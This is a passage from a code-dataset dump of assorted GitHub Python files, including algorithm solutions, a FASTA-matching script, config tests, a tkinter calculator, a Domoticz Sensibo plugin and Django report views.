== curr:\n res.append(temp)\n return \n self.dfs(root.left, target, curr , list(temp) , res)\n self.dfs(root.right, target, curr, list(temp), res)\n \n def pathSum(self, root: Optional[TreeNode], targetSum: int) -> List[List[int]]:\n if not root:\n return root;\n res = []\n self.dfs(root, targetSum, 0 , [] , res)\n return res","repo_name":"Yuvraj-50/Dsa-questions","sub_path":"september/cc 2022-09-24/path-sum-ii.py","file_name":"path-sum-ii.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"42212592512","text":"# # Script permettant de chercher l'existance de séquences à mismatch Uniprot dans la base locale RefSeq\n# Input:\n# fasta contenant les séquence Uniprot d'intérêt (my_Query)\n# fasta contenant toute les protéines présente dans RefSeq (my_DB)\n# Output: fichier match.txt une ligne par match entre les deux fichiers\n\nimport sys\n\n\ndef fasta2List(pathFasta):\n # Function: Convert fastafile to dictionnary with seq:title structure\n # Parameters:\n # \t\tpathFasta: (str) path to the fasta file\n # Return:\n # \t\tdictionary: (dict) dictionnary seq:title structure\n f = open(pathFasta, \"r\")\n title = []\n seq = []\n seq_temp = []\n for line in f:\n if line[0] == \">\":\n seq.append(''.join(seq_temp).replace(\"\\n\", \"\"))\n title.append(line.replace(\"\\n\", \"\"))\n seq_temp = []\n else:\n seq_temp.append(line)\n seq.append(''.join(seq_temp).replace(\"\\n\", \"\"))\n seq.pop(0)\n dictionary = dict(zip(title, seq))\n return dictionary\n\n\ndef importQuery(pathFasta):\n # Function: Convert fastafile to dictionnary with title:seq structure\n # Parameters:\n # \t\tpathFasta: (str) path to the fasta file\n # Return:\n # \t\tdictionary: (dict) dictionnary title:seq structure\n f = open(pathFasta, \"r\")\n title = []\n seq = []\n seq_temp = []\n for line in f:\n if line[0] == \">\":\n seq.append(''.join(seq_temp).replace(\"\\n\", \"\"))\n title.append(line.replace(\"\\n\", \"\"))\n seq_temp = []\n else:\n seq_temp.append(line)\n seq.append(''.join(seq_temp).replace(\"\\n\", \"\"))\n seq.pop(0)\n dictionary = dict(zip(seq, title))\n return dictionary\n\n\nif __name__ == \"__main__\":\n my_DB = importQuery(sys.argv[1])\n my_Query = fasta2List(sys.argv[2])\n\n f = open(\"raw/uniprot-error-mismatch/uniprot_refseq_match.out\", \"w\")\n for i, j in my_Query:\n try:\n match = my_DB[j]\n f.write(\"Match found: \" + str(my_DB[j])+\" \"+str(i))\n except:\n pass\n","repo_name":"lambda-science/droso-analysis","sub_path":"src/Uniprot_RefSeq_match_3.py","file_name":"Uniprot_RefSeq_match_3.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21434841457","text":"import teaching\n\ndef print_student_feedback(student_info: dict, feedback_mode=\"normal\") -> None:\n '''Print students feedback according to their grades\n\n Parameters\n ----------\n student_info\n A dictionary with student name as key and student grade as value\n feedback_mode\n The feedback mode, either \"normal\" (default) or \"positive_reinforcement\"\n\n Returns\n -------\n None\n '''\n for s_name, s_grade in student_info.items():\n s_feedback = teaching.comment_grade(s_grade, mode=feedback_mode)\n print('Feedback for {}: {}'.format(s_name, s_feedback))\n\nif __name__ == '__main__':\n print(__name__)\n student_results = {\n 'John': 3,\n 'Mary': 9,\n 'Peter': 5\n }\n print_student_feedback(student_results)\n","repo_name":"mick-d/python_lecture","sub_path":"vs_tut/exam1.py","file_name":"exam1.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"17147775002","text":"import logging\n\nimport pytest\n\nfrom sapinvoices.config import configure_logger, configure_sentry, load_config_values\n\n\ndef test_configure_logger_with_invalid_level_raises_error():\n logger = logging.getLogger(__name__)\n with pytest.raises(ValueError) as error:\n configure_logger(logger, log_level_string=\"oops\")\n assert \"'oops' is not a valid Python logging level\" in str(error)\n\n\ndef test_configure_logger_info_level_or_higher():\n logger = logging.getLogger(__name__)\n result = configure_logger(logger, log_level_string=\"info\")\n assert logger.getEffectiveLevel() == 20\n assert result == \"Logger 'tests.test_config' configured with level=INFO\"\n\n\ndef test_configure_logger_debug_level_or_lower():\n logger = logging.getLogger(__name__)\n result = configure_logger(logger, log_level_string=\"DEBUG\")\n assert logger.getEffectiveLevel() == 10\n assert result == \"Logger 'tests.test_config' configured with level=DEBUG\"\n\n\ndef test_configure_sentry_no_env_variable(monkeypatch):\n monkeypatch.delenv(\"SENTRY_DSN\", raising=False)\n result = configure_sentry()\n assert result == \"No Sentry DSN found, exceptions will not be sent to Sentry\"\n\n\ndef test_configure_sentry_env_variable_is_none(monkeypatch):\n monkeypatch.setenv(\"SENTRY_DSN\", \"None\")\n result = configure_sentry()\n assert result == \"No Sentry DSN found, exceptions will not be sent to Sentry\"\n\n\ndef test_configure_sentry_env_variable_is_dsn(monkeypatch):\n monkeypatch.setenv(\"SENTRY_DSN\", \"https://1234567890@00000.ingest.sentry.io/123456\")\n result = configure_sentry()\n assert result == \"Sentry DSN found, exceptions will be sent to Sentry with env=test\"\n\n\ndef test_load_config_values_from_env():\n assert load_config_values() == {\n \"ALMA_API_URL\": \"https://example.com\",\n \"ALMA_API_READ_WRITE_KEY\": \"just-for-testing\",\n \"SAP_DROPBOX_CLOUDCONNECTOR_JSON\": '{\"test\": \"test\"}',\n \"SAP_REPLY_TO_EMAIL\": \"replyto@example.com\",\n \"SAP_FINAL_RECIPIENT_EMAIL\": \"final@example.com\",\n \"SAP_REVIEW_RECIPIENT_EMAIL\": \"review@example.com\",\n \"SES_SEND_FROM_EMAIL\": \"from@example.com\",\n \"SAP_SEQUENCE_NUM\": \"/test/example/sap_sequence\",\n \"TIMEOUT\": \"10\",\n \"WORKSPACE\": \"test\",\n }\n\n\ndef test_load_config_values_from_defaults(monkeypatch):\n monkeypatch.delenv(\"ALMA_API_TIMEOUT\", raising=False)\n assert load_config_values() == {\n \"ALMA_API_URL\": \"https://example.com\",\n \"ALMA_API_READ_WRITE_KEY\": \"just-for-testing\",\n \"SAP_DROPBOX_CLOUDCONNECTOR_JSON\": '{\"test\": \"test\"}',\n \"SAP_REPLY_TO_EMAIL\": \"replyto@example.com\",\n \"SAP_FINAL_RECIPIENT_EMAIL\": \"final@example.com\",\n \"SAP_REVIEW_RECIPIENT_EMAIL\": \"review@example.com\",\n \"SES_SEND_FROM_EMAIL\": \"from@example.com\",\n \"SAP_SEQUENCE_NUM\": \"/test/example/sap_sequence\",\n \"TIMEOUT\": \"30\",\n \"WORKSPACE\": \"test\",\n }\n\n\ndef test_load_config_values_missing_config_raises_error(monkeypatch):\n with pytest.raises(KeyError):\n monkeypatch.delenv(\"ALMA_API_URL\", raising=False)\n load_config_values()\n","repo_name":"MITLibraries/alma-sapinvoices","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15604777714","text":"class Solution:\n # O(n) time | O(1) space - where n is the length of the input array\n def findDisappearedNumbers(self, nums: List[int]) -> List[int]:\n if len(nums) == 1:\n return []\n ans = []\n for num in nums:\n index = abs(num) - 1\n if nums[index] > 0: nums[index] *= -1\n for index, num in enumerate(nums):\n if num > 0:\n ans.append(index + 1)\n return ans\n ","repo_name":"weilincheng/LeetCode-practice","sub_path":"array/448_find_all_numbers_disappeared_in_an_array.py","file_name":"448_find_all_numbers_disappeared_in_an_array.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11532604444","text":"import tkinter as tk\nimport tkinter.messagebox as tkm\nimport math\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n root.title(\"電卓\")\n\n def button_click(event):\n btn = event.widget\n txt = btn[\"text\"]\n #tkm.showinfo(txt,f\"[{txt}]ボタンがクリックされました\")\n if txt == \"=\":\n ans = entry.get()\n ans01 = eval(ans)\n entry.delete(0,tk.END)\n entry.insert(tk.END, ans01)\n elif txt == \"sin\":\n ans = entry.get()\n ans.replace(txt,\"\")\n entry.delete(0,tk.END)\n ans01 = math.sin(int(ans))\n entry.insert(tk.END, ans01)\n elif txt == \"cos\":\n ans = entry.get()\n ans.replace(txt,\"\")\n entry.delete(0,tk.END)\n ans01 = math.cos(int(ans))\n entry.insert(tk.END, ans01)\n elif txt == \"tan\":\n ans = entry.get()\n ans.replace(txt,\"\")\n entry.delete(0,tk.END)\n ans01 = math.tan(int(ans))\n entry.insert(tk.END, ans01)\n elif txt == \"π\":\n ans = entry.get()\n ans.replace(txt,\"\")\n entry.delete(0,tk.END)\n ans01 = int(ans)*3.141592653\n entry.insert(tk.END, ans01)\n else:\n entry.insert(tk.END, txt)\n \n\n\n entry = tk.Entry(root,justify = \"right\",width = 15,font = (\"Times New Roman\",40))\n entry.grid(row = 0,column = 0,columnspan = 4)\n\n \n\n for i in range(1,5): #列指定(テキスト入力欄があるので１段下げる)\n for j in range(0,4): #行指定\n if i == 4 and j == 1 : #＋ボタンの位置になったとき実行\n a = \"+\"\n elif i == 4 and j == 2: #＝ボタンの位置になったとき実行\n a = \"=\"\n elif i == 1 and j == 3:\n a = \"π\"\n elif i == 2 and j == 3:\n a = \"sin\"\n elif i == 3 and j == 3:\n a = \"cos\"\n elif i == 4 and j == 3:\n a = \"tan\"\n else:\n a = 9 - (3 * (i-1)) - j #数字計算\n button = tk.Button(root,text = f\"{a}\",width = 4, height=2,font = (\"Times New Roman\", 30))\n button.grid(row = i,column = j)\n button.bind(\"<1>\", button_click)\n \n\n root.mainloop()\n\n\n\n\n","repo_name":"c0a21124f8/ProjExD","sub_path":"ex02/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"70618328193","text":"import bs4\r\nfrom requests import get\r\nfrom pandas import DataFrame\r\n\r\n# Нужный нам сайт\r\nurl = r\"http://lib.ru/PROZA/\"\r\n\r\ntry:\r\n # Получаем данные с сайта\r\n response = get(url)\r\nexcept:\r\n print(\"Не удалось загрузить веб-страницу\")\r\n exit()\r\n# Запись полученного результата в переменную\r\nhtml = response.text\r\n# Преобразуем и найдем основной тэг, где лежат данные\r\nbs = bs4.BeautifulSoup(html, features=\"html.parser\")\r\nli = bs.find_all(\"li\")\r\n# Создаем табличку, куда будем складывать полученные данные\r\ndf = DataFrame(columns=[\"Размер\", \"Автор\"])\r\n\r\n# Запись будет производится с первой строчки\r\ni = 1\r\nj = 1\r\n# Извлечение нужных данных и сразу запись в датафрейм\r\nfor l in li:\r\n if 6 < i < 221:\r\n size = l.find(\"small\")\r\n b = size.find(\"b\")\r\n if b != None:\r\n b.decompose()\r\n size = l.find_all(\"small\")[0].get_text()\r\n author = l.find_all(\"b\")[0].get_text()\r\n df.loc[j] = size, author\r\n j += 1\r\n i += 1\r\ndf = df.to_string()\r\n# Выводим то, что получилось\r\nprint(df)\r\n\r\n","repo_name":"Maryd9/Web-Scraper-","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71269576510","text":"class GistCreatePage:\n def __init__(self, page):\n self.page = page\n self.description_input = page.locator(\"[name='gist[description]']\")\n self.code_input = page.locator('pre.CodeMirror-line')\n self.private_gist_button = page.locator('button:has-text(\"Create secret gist\")')\n self.type_of_gist = page.locator('summary[aria-label=\"Select a type of pull request\"]')\n self.create_public_gist = page.locator('.select-menu-item:has-text(\"Create public gist\")')\n\n def navigate(self):\n self.page.goto(\"https://gist.github.com/\")\n\n def fill_form(self, description):\n self.description_input.fill(description)\n self.code_input.click()\n self.code_input.focus()\n self.code_input.fill(description)\n\n def submit_form(self, is_public):\n if is_public:\n self.type_of_gist.click()\n create_public_gist_visible = self.create_public_gist.is_visible()\n if create_public_gist_visible:\n self.create_public_gist.click()\n else:\n self.private_gist_button.click()\n","repo_name":"SeveR-ina/gist_project","sub_path":"helpers_ui/models/gist_create_page.py","file_name":"gist_create_page.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"22439739371","text":"import pytest\n\nfrom wemake_python_styleguide.violations.refactoring import (\n InCompareWithSingleItemContainerViolation,\n WrongInCompareTypeViolation,\n)\nfrom wemake_python_styleguide.visitors.ast.compares import (\n InCompareSanityVisitor,\n)\n\nin_template = 'some in {0}'\nnot_in_template = 'some not in {0}'\n\n\n@pytest.mark.parametrize('code', [\n not_in_template,\n in_template,\n])\n@pytest.mark.parametrize('comparator', [\n '[]',\n '[1, 2, 3]',\n '[x for x in call()]',\n {},\n '{\"x\": x for x in call()}',\n '{\"x\": 1}',\n '()',\n '(1, 2, 3)',\n '(x for x in call())',\n '(x := [1, 2, 3])',\n])\ndef test_compare_with_wrong_type(\n assert_errors,\n parse_ast_tree,\n code,\n comparator,\n default_options,\n):\n \"\"\"Compares raise a violation for ``in`` with wrong types.\"\"\"\n tree = parse_ast_tree(code.format(comparator))\n\n visitor = InCompareSanityVisitor(default_options, tree=tree)\n visitor.run()\n\n assert_errors(\n visitor,\n [WrongInCompareTypeViolation],\n ignored_types=InCompareWithSingleItemContainerViolation,\n )\n\n\n@pytest.mark.parametrize('code', [\n not_in_template,\n in_template,\n])\n@pytest.mark.parametrize('comparator', [\n '{1, 2}',\n '{x for x in call()}',\n 'set()',\n 'name',\n 'method.call()',\n 'prop.attr',\n])\ndef test_compare_with_correct_type(\n assert_errors,\n parse_ast_tree,\n code,\n comparator,\n default_options,\n):\n \"\"\"Compares work correctly for ``in`` with correct types.\"\"\"\n tree = parse_ast_tree(code.format(comparator))\n\n visitor = InCompareSanityVisitor(default_options, tree=tree)\n visitor.run()\n\n assert_errors(visitor, [])\n","repo_name":"wemake-services/wemake-python-styleguide","sub_path":"tests/test_visitors/test_ast/test_compares/test_in_type_check.py","file_name":"test_in_type_check.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":2321,"dataset":"github-code","pt":"60"} +{"seq_id":"8035674544","text":"import glob\nimport subprocess\n\nmidi_files = glob.glob(\"./babyslakh_16k/*/*.mid\")\n\ndef midi_to_wav(input_path, output_path):\n cmd = ['timidity', input_path, '-Ow', '-o', output_path]\n subprocess.call(cmd)\n\nfor i in range(len(midi_files)):\n midi_file = midi_files[i]\n wav_file = f'./wav_data/{i}.wav'\n print(f\"Converting {midi_file} to {wav_file}\")\n midi_to_wav(midi_file, wav_file)","repo_name":"Girish-Krishnan/Transformer-FNet-Music-Generation-Style-Transfer","sub_path":"get_wav_real.py","file_name":"get_wav_real.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40378859799","text":"# Basic Python Plugin Example\n#\n# Author: Dynodix\n#\n\"\"\"\n>\n \n \n \n \n\n\"\"\"\nimport Domoticz\nimport subprocess\nimport json\nimport pySensibo_Sky\n# ssh prerequisites\n# ssh-keygen -t rsa\n# scp -r /root/.ssh/id_rsa.pub Admin@:/var/etc/persistent/.ssh/authorized_keys\n\nclass BasePlugin:\n enabled = False\n pluginState = \"Not Ready\"\n socketOn = \"FALSE\"\n sessionCookie = \"\"\n \n\n\n\n\n def __init__(self):\n return\n\n def onStart(self):\n # Starting\n API_KEY = Parameters[\"Mode1\"]\n DEVICE_NAME = Parameters[\"Mode2\"]\n client = pySensibo_Sky.Client(API_KEY)\n device = client.get_device(DEVICE_NAME)\n #mode = device.mode\n # Startup ended now configure\n # read params directly from sensibo\n modes = dict()\n domNameMode = \"|\".join(str(mode.name) for mode in device.supported_modes)\n #mode = device.mode\n swingNameMode = \"|\".join(str(swinga) for swinga in device.mode.supported_swing_modes)\n fanNameMode = \"|\".join(str(fans) for fans in device.mode.supported_fan_levels)\n temperatureNameMode = \"|\".join(str(temper) for temper in device.mode.supported_temps)\n #\n if Parameters[\"Mode6\"] == \"Debug\":\n Domoticz.Debugging(1)\n if (len(Devices) == 0):\n Domoticz.Device(Name=\"Switch\", Unit=1, TypeName=\"Switch\", Image=9, Used=1).Create()\n Domoticz.Log(\"Switch Device created.\")\n Domoticz.Device(Name=\"Temp and Hum\", Unit=2, TypeName=\"Temp+Hum\", Used=1).Create()\n Domoticz.Log(\"Temperature and hum sensor created.\")\n OptionsMode = {\"LevelActions\": \"||||\",\"LevelNames\": domNameMode,\"LevelOffHidden\": \"True\",\"SelectorStyle\": \"1\"}\n Domoticz.Device(Name=\"Mode\", Unit=3, TypeName=\"Selector Switch\", Image=16, Options=OptionsMode, Used=1).Create()\n Domoticz.Log(\"Mode selector created.\")\n OptionsSwing = {\"LevelActions\": \"||||\",\"LevelNames\": swingNameMode,\"LevelOffHidden\": \"false\",\"SelectorStyle\": \"1\"}\n Domoticz.Device(Name=\"Swing\", Unit=4, TypeName= \"Selector Switch\", Image=7, Options=OptionsSwing, Used=1).Create()\n Domoticz.Log(\"Swing selector created.\")\n OptionsFan = {\"LevelActions\": \"||||\",\"LevelNames\": fanNameMode,\"LevelOffHidden\": \"false\",\"SelectorStyle\": \"1\"}\n Domoticz.Device(Name=\"Fan\", Unit=5, TypeName= \"Selector Switch\", Image=7, Options=OptionsFan, Used=1).Create()\n Domoticz.Log(\"Fan selector created.\") \n OptionsTemperature = {\"LevelActions\": \"||||\",\"LevelNames\": temperatureNameMode,\"LevelOffHidden\": \"false\",\"SelectorStyle\": \"1\"}\n Domoticz.Device(Name=\"Temperature\", Unit=6, TypeName= \"Selector Switch\", Image=16, Options=OptionsTemperature, Used=1).Create()\n Domoticz.Log(\"Temperature selector created.\") \n pluginState = \"Ready\"\n DumpConfigToLog()\n# seconds for recconect and report\n Domoticz.Heartbeat(20)\n# Domoticz.Connect()\n Domoticz.Debug(\"onStart called\")\n\n def onStop(self):\n Domoticz.Debug(\"onStop called\")\n\n\n def onConnect(self, Status, Description):\n Domoticz.Log(\"onConnect called\")\n# self.mPortLogin()\n if (Status == 0):\n Domoticz.Log(\"sensibo connected successfully.\")\n else:\n self.pluginState = \"Not Ready\"\n# Domoticz.Log(\"Failed to connect (\"+str(Status)+\") to: \"+Parameters[\"Address\"]+\":\"+Parameters[\"Port\"])\n# Domoticz.Debug(\"Failed to connect (\"+str(Status)+\") to: \"+Parameters[\"Address\"]+\":\"+Parameters[\"Port\"]+\" with error: \"+Description)\n\n def onMessage(self, Data, Status, Extra):\n Domoticz.Debug(\"on Message called \")\n\n def onCommand(self, Unit, Command, Level, Hue):\n API_KEY = Parameters[\"Mode1\"]\n DEVICE_NAME = Parameters[\"Mode2\"]\n client = pySensibo_Sky.Client(API_KEY)\n device = client.get_device(DEVICE_NAME)\n power = 1 if device.power else 0\n if (Unit == 1):\n if Command == 'Off' :\n device.power = False\n Devices[Unit].Update(0,'Off')\n power = 0\n else :\n device.power = True\n Devices[Unit].Update(1,'On')\n power = 1\n if (Unit == 3):\n modeNames =str(\" \".join(str(mode.name) for mode in device.supported_modes)).split()\n modes = dict()\n for mode in device.supported_modes:\n modes[mode.name] = mode\n mode = modes[modeNames[Level // 10]]\n mode.activate()\n Devices[3].Update(power, str(Level))\n if (Unit == 4):\n swingNames = str(\" \".join(str(swinga) for swinga in device.mode.supported_swing_modes)).split()\n device.mode.swing = swingNames[Level // 10]\n Devices[4].Update(power, str(Level))\n if (Unit == 5):\n fanNames = str(\" \".join(str(fans) for fans in device.mode.supported_fan_levels)).split()\n device.mode.fan_level = fanNames[Level // 10]\n Devices[5].Update(power, str(Level))\n if (Unit == 6):\n temperatureNames = str(\" \".join(str(tempers) for tempers in device.mode.supported_temps)).split()\n device.mode.temp = temperatureNames[Level // 10]\n Devices[6].Update(power, str(Level))\n \n Domoticz.Log(\"onCommand called for Unit \" + str(Unit) + \": Parameter '\" + str(Command) + \"', Level: \" + str(Level))\n # write here the switch on command\n\n def onNotification(self, Name, Subject, Text, Status, Priority, Sound, ImageFile):\n Domoticz.Debug(\"Notification: \" + Name + \",\" + Subject + \",\" + Text + \",\" + Status + \",\" + str(Priority) + \",\" + Sound + \",\" + ImageFile)\n\n def onDisconnect(self):\n Domoticz.Debug(\"onDisconnect called\")\n\n def onHeartbeat(self):\n self.SensiboGetValues()\n Domoticz.Debug(\"onHeartbeat called\")\n\n\n def SensiboGetValues(self ):\n API_KEY = Parameters[\"Mode1\"]\n DEVICE_NAME = Parameters[\"Mode2\"]\n codemode = ' '\n client = pySensibo_Sky.Client(API_KEY)\n device = client.get_device(DEVICE_NAME)\n temperatura = '%.3f' % device.room_temp\n vlaga = '%.3f' % device.room_humidity\n Devices[2].Update(0, temperatura + ';' + vlaga + ';0')\n power = 1 if device.power else 0\n modes = dict()\n domNameMode = \" \".join(str(mode.name) for mode in device.supported_modes)\n domNames = str(domNameMode).split()\n codemode = str(10 * domNames.index(device.mode.name))\n #mode = device.mode\n acmode = device.mode.name\n ModeImage = 16\n if acmode == 'auto':\n ModeImage = 16\n if acmode == 'cool':\n ModeImage = 16\n if acmode == 'dry':\n ModeImage = 11\n if acmode == 'fan':\n ModeImage = 7\n if acmode == 'heat':\n ModeImage = 15\n swingNames = str(\" \".join(str(swinga) for swinga in device.mode.supported_swing_modes)).split()\n swingmode = str(10 * swingNames.index(device.mode.swing))\n fanNames = str(\" \".join(str(fans) for fans in device.mode.supported_fan_levels)).split()\n fanmode = str(10 * fanNames.index(device.mode.fan_level))\n temperatureNames = str(\" \".join(str(tempe) for tempe in device.mode.supported_temps)).split()\n temperature = str(10 * temperatureNames.index(str(device.mode.temp)))\n Devices[1].Update(power, '')\n Devices[3].Update(power, codemode, Image=ModeImage)\n Devices[4].Update(power, swingmode)\n Devices[5].Update(power, fanmode)\n Devices[6].Update(power, temperature, Image=ModeImage)\n #Domoticz.Log(\"Sensibo get temperatura \"+temperatura+\" mode= ; \" + codemode)\n\n\nglobal _plugin\n_plugin = BasePlugin()\n\ndef onStart():\n global _plugin\n _plugin.onStart()\n\ndef onStop():\n global _plugin\n _plugin.onStop()\n\ndef onConnect(Status, Description):\n global _plugin\n _plugin.onConnect(Status, Description)\n\ndef onMessage(Data, Status, Extra):\n global _plugin\n _plugin.onMessage(Data, Status, Extra)\n\ndef onCommand(Unit, Command, Level, Hue):\n global _plugin\n _plugin.onCommand(Unit, Command, Level, Hue)\n\ndef onNotification(Name, Subject, Text, Status, Priority, Sound, ImageFile):\n global _plugin\n _plugin.onNotification(Name, Subject, Text, Status, Priority, Sound, ImageFile)\n\ndef onDisconnect():\n global _plugin\n _plugin.onDisconnect()\n\ndef onHeartbeat():\n global _plugin\n _plugin.onHeartbeat()\n\n # Generic helper functions\ndef DumpConfigToLog():\n for x in Parameters:\n if Parameters[x] != \"\":\n Domoticz.Debug( \"'\" + x + \"':'\" + str(Parameters[x]) + \"'\")\n Domoticz.Debug(\"Device count: \" + str(len(Devices)))\n for x in Devices:\n Domoticz.Debug(\"Device: \" + str(x) + \" - \" + str(Devices[x]))\n Domoticz.Debug(\"Device ID: '\" + str(Devices[x].ID) + \"'\")\n Domoticz.Debug(\"Device Name: '\" + Devices[x].Name + \"'\")\n Domoticz.Debug(\"Device nValue: \" + str(Devices[x].nValue))\n Domoticz.Debug(\"Device sValue: '\" + Devices[x].sValue + \"'\")\n Domoticz.Debug(\"Device LastLevel: \" + str(Devices[x].LastLevel))\n return","repo_name":"dynodix/sensibo","sub_path":"plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":9633,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"26045108873","text":"import datetime\nfrom functools import reduce\n\nimport pytz\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.contrib.auth.decorators import permission_required\nfrom django.db.models import Count, Q, Sum\nfrom django.db.models.functions import TruncDay\nfrom django.forms import fields\nfrom django.forms.widgets import SelectDateWidget\nfrom django.http import JsonResponse\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom django.urls import reverse\nfrom django.utils import dateparse, timezone\nfrom stregreport.forms import CategoryReportForm\nfrom stregsystem.models import Category, Member, Product, Sale\nfrom stregreport.models import BreadRazzia, RazziaEntry\nfrom stregsystem.templatetags.stregsystem_extras import money\n\n\n@permission_required(\"stregsystem.access_sales_reports\")\ndef reports(request):\n return render(request, 'admin/stregsystem/report/index.html', locals())\n\n\nreports = staff_member_required(reports)\n\n\n@permission_required(\"stregsystem.access_sales_reports\")\ndef sales(request):\n if request.method == 'POST':\n try:\n return sales_product(\n request, parse_id_string(request.POST['products']), request.POST['from_date'], request.POST['to_date']\n )\n except RuntimeError as ex:\n return sales_product(request, None, None, None, error=ex.__str__())\n else:\n return sales_product(request, None, None, None)\n\n\nsales = staff_member_required(sales)\n\n\n@permission_required(\"stregreport.host_razzia\")\ndef razzia(request, razzia_id, razzia_type=BreadRazzia.BREAD, title=None):\n if request.method == 'POST':\n return razzia_view_single(request, razzia_id, request.POST['username'], razzia_type=razzia_type, title=title)\n else:\n return razzia_view_single(request, razzia_id, None, razzia_type=razzia_type, title=title)\n\n\n@permission_required(\"stregreport.host_razzia\")\ndef razzia_view_single(request, razzia_id, queryname, razzia_type=BreadRazzia.BREAD, title=None):\n razzia = get_object_or_404(BreadRazzia, pk=razzia_id, razzia_type=razzia_type)\n if queryname is not None:\n result = list(Member.objects.filter(username__iexact=queryname))\n if len(result) > 0:\n member = result[0]\n entries = list(razzia.razziaentry_set.filter(member__pk=member.pk).order_by('-time'))\n already_checked_in = len(entries) > 0\n wait_time = datetime.timedelta(minutes=30)\n if already_checked_in:\n last_entry = entries[0]\n within_wait = last_entry.time > timezone.now() - wait_time\n # if member has already checked in within the last hour, don't allow another check in\n if already_checked_in and within_wait and razzia_type == BreadRazzia.FOOBAR:\n drunkard = True\n # time until next check in is legal\n remaining_time_secs = int(((last_entry.time + wait_time) - timezone.now()).total_seconds() % 60)\n remaining_time_mins = int(((last_entry.time + wait_time) - timezone.now()).total_seconds() // 60)\n if not already_checked_in or (razzia_type == BreadRazzia.FOOBAR and not within_wait):\n RazziaEntry(member=member, razzia=razzia).save()\n\n templates = {\n BreadRazzia.BREAD: 'admin/stregsystem/razzia/bread.html',\n BreadRazzia.FOOBAR: 'admin/stregsystem/razzia/foobar.html',\n }\n return render(request, templates[razzia_type], locals())\n\n\n@permission_required(\"stregreport.host_razzia\")\ndef razzia_menu(request, razzia_type=BreadRazzia.BREAD, new_text=None, title=None):\n razzias = BreadRazzia.objects.filter(razzia_type=razzia_type).order_by('-pk')[:3]\n if len(razzias) == 0:\n return redirect('razzia_new_' + razzia_type)\n return render(request, 'admin/stregsystem/razzia/menu.html', locals())\n\n\n@permission_required(\"stregreport.host_razzia\")\ndef new_razzia(request, razzia_type=BreadRazzia.BREAD):\n razzia = BreadRazzia(razzia_type=razzia_type)\n razzia.save()\n\n views = {BreadRazzia.BREAD: 'bread_view', BreadRazzia.FOOBAR: 'foobar_view'}\n\n return redirect(views[razzia_type], razzia_id=razzia.pk)\n\n\n@permission_required(\"stregreport.host_razzia\")\ndef razzia_members(request, razzia_id, razzia_type=BreadRazzia.BREAD, title=None):\n razzia = get_object_or_404(BreadRazzia, pk=razzia_id, razzia_type=razzia_type)\n return render(request, 'admin/stregsystem/razzia/members.html', locals())\n\n\nrazzia = staff_member_required(razzia)\nrazzia_view_single = staff_member_required(razzia_view_single)\nnew_razzia = staff_member_required(new_razzia)\nrazzia_members = staff_member_required(razzia_members)\n\n\ndef _sales_to_user_in_period(username, start_date, end_date, product_list, product_dict):\n result = (\n Product.objects.filter(\n sale__member__username__iexact=username,\n id__in=product_list,\n sale__timestamp__gte=start_date,\n sale__timestamp__lte=end_date,\n )\n .annotate(cnt=Count(\"id\"))\n .values_list(\"name\", \"cnt\")\n )\n\n products_bought = {product: count for product, count in result}\n\n return {product: products_bought.get(product, 0) for product in product_dict}\n\n\n@permission_required(\"stregreport.host_razzia\")\ndef razzia_view(request):\n default_start = timezone.now().today() - datetime.timedelta(days=-180)\n default_end = timezone.now().today()\n start = request.GET.get('start', default_start.isoformat())\n end = request.GET.get('end', default_end.isoformat())\n products = request.GET.get('products', \"\")\n username = request.GET.get('username', \"\")\n title = request.GET.get('razzia_title', \"Razzia!\")\n\n try:\n product_list = [int(p) for p in products.split(\",\")]\n except ValueError:\n return render(request, 'admin/stregsystem/razzia/error_wizarderror.html', {})\n\n product_dict = {k.name: 0 for k in Product.objects.filter(id__in=product_list)}\n if len(product_list) != len(product_dict.items()):\n return render(request, 'admin/stregsystem/razzia/error_wizarderror.html', {})\n\n try:\n user = Member.objects.get(username__iexact=username)\n except (Member.DoesNotExist, Member.MultipleObjectsReturned):\n return render(\n request,\n 'admin/stregsystem/razzia/wizard_view.html',\n {'start': start, 'end': end, 'products': products, 'username': username, 'razzia_title': title},\n )\n\n start_date = dateparse.parse_date(start)\n end_date = dateparse.parse_date(end)\n sales_to_user = _sales_to_user_in_period(username, start_date, end_date, product_list, product_dict)\n\n return render(\n request,\n 'admin/stregsystem/razzia/wizard_view.html',\n {\n 'razzia_title': title,\n 'username': username,\n 'start': start,\n 'end': end,\n 'products': products,\n 'member_name': user.firstname + \" \" + user.lastname,\n 'items_bought': sales_to_user.items(),\n },\n )\n\n\nrazzia_view = staff_member_required(razzia_view)\n\n\n@permission_required(\"stregreport.host_razzia\")\ndef razzia_wizard(request):\n if request.method == 'POST':\n return redirect(\n reverse(\"razzia_view\")\n + 